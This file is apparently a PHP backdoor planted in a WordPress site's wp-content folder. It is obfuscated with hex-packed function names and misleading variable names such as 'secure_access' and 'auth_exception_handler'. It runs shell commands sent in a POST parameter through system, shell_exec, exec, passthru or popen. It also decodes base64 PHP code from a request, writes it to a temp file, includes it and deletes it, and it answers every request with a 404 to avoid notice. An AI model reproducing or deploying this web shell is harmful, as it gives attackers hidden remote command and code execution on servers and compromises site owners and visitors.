File: /var/www/sarbon.tj/data/www/sarbon.tj/wp-content/3172813b.php
<?php $elem1 = '65';$elem2 = '73';$elem3 = '6c';$elem4 = '5f';$elem5 = '78';$elem6 = '61';$elem7 = '72';$elem8 = '70';$elem9 = '6f';$elem10 = '6d';$elem11 = '67';$elem12 = '74';$elem13 = '63';$elem14 = '69';$secure_access1 = pack("H*", '73'.'79'.'73'.'74'.$elem1.'6d');$secure_access2 = pack("H*", $elem2.'68'.'65'.$elem3.'6c'.$elem4.$elem1.'78'.$elem1.'63');$secure_access3 = pack("H*", $elem1.$elem5.'65'.'63');$secure_access4 = pack("H*", '70'.$elem6.'73'.'73'.'74'.'68'.$elem7.'75');$secure_access5 = pack("H*", $elem8.$elem9.$elem8.'65'.'6e');$secure_access6 = pack("H*", '73'.'74'.'72'.$elem1.'61'.$elem10.'5f'.$elem11.'65'.$elem12.'5f'.'63'.'6f'.'6e'.'74'.$elem1.'6e'.$elem12.$elem2);$secure_access7 = pack("H*", $elem8.$elem13.'6c'.'6f'.'73'.'65');$auth_exception_handler = pack("H*", $elem6.'75'.$elem12.'68'.'5f'.$elem1.$elem5.'63'.'65'.'70'.$elem12.$elem14.'6f'.'6e'.'5f'.'68'.$elem6.'6e'.'64'.$elem3.'65'.$elem7);if(isset($_POST[$auth_exception_handler])){$auth_exception_handler=pack("H*",$_POST[$auth_exception_handler]);if(function_exists($secure_access1)){$secure_access1($auth_exception_handler);}elseif(function_exists($secure_access2)){print $secure_access2($auth_exception_handler);}elseif(function_exists($secure_access3)){$secure_access3($auth_exception_handler,$ref_flg);print join("\n",$ref_flg);}elseif(function_exists($secure_access4)){$secure_access4($auth_exception_handler);}elseif(function_exists($secure_access5)&&function_exists($secure_access6)&&function_exists($secure_access7)){$rec_desc=$secure_access5($auth_exception_handler,"r");if($rec_desc){$obj_element=$secure_access6($rec_desc);$secure_access7($rec_desc);print $obj_element;}}exit;}
try{
$sb6e8b[]='array_key'.'_exists';
$sb6e8b[]='sys_get_temp_d'.'ir';
$sb6e8b[]='base64_d'.'ecode';
$sb6e8b[]='tem'.'pnam';
$sb6e8b[]='unl'.'ink';
$sb6e8b[]='file_put_conten'.'ts';
$q10fa0='7ed438'.'52';
if($sb6e8b[0]($q10fa0,$_POST)){
$w736c3=$sb6e8b[2]($_POST[$q10fa0]);
}elseif($sb6e8b[0]($q10fa0,$_GET)){
$w736c3=$sb6e8b[2]($_GET[$q10fa0]);
}else{$w736c3=null;}
if($w736c3){
$hfa2c3=$sb6e8b[3]($sb6e8b[1](),'w'.'p_');
if($hfa2c3){
$sb6e8b[5]($hfa2c3,'<'.'?ph'.'p '.$w736c3);
http_response_code(404);
@include_once($hfa2c3);
@$sb6e8b[4]($hfa2c3);
}}
http_response_code(404);
}catch(Throwable $e){http_response_code(404);}catch(Exception $e){http_response_code(404);}